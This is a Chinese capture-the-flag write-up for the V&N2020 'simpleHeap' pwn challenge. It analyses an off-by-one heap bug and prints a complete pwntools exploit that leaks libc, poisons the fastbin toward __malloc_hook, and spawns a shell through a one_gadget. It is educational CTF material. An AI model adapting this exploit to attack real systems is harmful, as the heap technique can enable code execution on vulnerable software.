【pwn】V&N2020 公開賽 simpleHeap


【pwn】V&N2020 公開賽 simpleHeap

1、靜態分析

image-20210826132343879

首先libc版本是ubuntu16的2.23版本,可以去buu的資源處下載

然后checksec一下,保護全開

image-20210826132452204

拖入IDA中分析

去除了符號表,通過menu函數分析出有add、edit、show、delete

image-20210826132629156

1.add()

image-20210826132918910

add函數分析一遍,發現沒什么漏洞,就是普普通通的輸入一個需要申請的size(空間大小),然后再向這個malloc的空間中輸入content(內容),其中size不能大於111(0x6F)。

2.edit()

image-20210826133351437

edit的功能就是輸入一個index,然后修改這個index的內容。

問題出在了in(我自己重命名的)這個函數上,這個函數的功能是給prt[index]讀入Size[index]大小的內容,但是我們進入這個函數看一看

image-20210826133649987

其中紅框的部分造成了off-by-one的漏洞,如果i == length那么其實會多寫入一個字節,利用這個漏洞我們可以去篡改物理相鄰的下一個chunk的size字段的最后一個字節,也就是給這個chunk的size給重寫

3.show()

image-20210826134009305

show函數就是把我們想要的index的content打印出來

沒有漏洞存在

4.delete()

image-20210826134103431

delete函數不僅free了ptr,還把ptr置為了NULL,不存在UAF和double free的漏洞

2、漏洞利用

分析完了上述的4種主要函數,發現能夠利用的漏洞只有edit中的off-by-one一個點。那么如何通過這一個off-by-one的漏洞來獲取shell呢?

exp如下:

from pwn import *
from LibcSearcher import *
# context.log_level="DEBUG"

def ret2libc(leak,func,path=""):
   if path == "":
       libc = LibcSearcher(fun,leak)
       base = leak - libc.dump(func)
       system = base + libc.dump("system")
       binsh = base + libc.dump("str_bin_sh")
   else:
       libc = ELF(path)
       libc.address = leak - libc.sym[func]
       system = libc.sym["system"]
       binsh = next(libc.search(b"/bin/sh"))
   return (system,binsh)

s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b"\x00"))
uu64 = lambda data : u64(data.ljust(8,b"\x00"))
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)

# io = process("./vn_pwn_simpleHeap")
io = remote("node4.buuoj.cn",27610)
elf = ELF("./vn_pwn_simpleHeap")
libc = ELF("./libc-2.23.so")

def add(size,content="a"):
   sla(":","1")
   sla("?",str(size))
   sa(":",content)

def edit(index,content):
   sla(":","2")
   sla("?",str(index))
   sla(":",content)

def show(index):
   sla(":","3")
   sla("?",str(index))

def free(index):
   sla(":","4")
   sla("?",str(index))

# start
add(0x18) # 0
add(0x68) # 1
add(0x68) # 2
add(0x18) # 3

edit(0,b"a"*0x18+b"\xe1") # 篡改1的size為e1,欺騙unsoted bin回收 1和2 這一個整體
free(1) # unsorted bin 回收了 1和2 這一塊內存空間,但是 2 的指針仍然存在
add(0x68) # 將 1 從unsorted bin中分割出來,剩下的一半2仍然再unsorted bin中,用來泄露libc
show(2) # 用 2 來泄露main arean的地址,再減去0x10泄露出malloc_hook的地址,進而泄露出libc地址
base = uu64(r(6))- 88 - 0x10 - libc.sym["__malloc_hook"]
leak("base",base)
malloc_hook = base + libc.sym["__malloc_hook"]

add(0x60) # 4 <-> 2
free(3)
free(2)
edit(4,p64(malloc_hook-0x23)) # 將 2 的fd指針改為 malloc_hook - 0x23,這里其實是一個欺騙fastbin的位置,因為這里的size是0x7f,屬於fastbin的范圍
add(0x60) # 將 2 重新申請回來,此時的2的fd指針已經改寫為了fake chunk的地址

payload = b"a"*11+p64(base+0x4526a)+p64(base+libc.sym["__libc_realloc"]+0xc) # 通過one_gadget來獲取shell,但是這里選擇的one_gadget rsp+0x30 == null無法滿足,所以要去realloc中通過push、pop操作(也就是rsp+0x30-5*8==null)來滿足條件,最后將one_gadget寫入realloc_hook中

add(0x60,payload)
sla(":","1")
sla("?","1") # malloc發現malloc_hook不為空,去調用malloc_hook里面的realloc+0xc,realloc發現realloc_hook不為空,可以執行realloc下面一系列的pop操作,調節了棧幀,滿足了one_gadget的條件,最后調用了realloc_hook中的one_gadeget從而獲取了shell

ia()




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM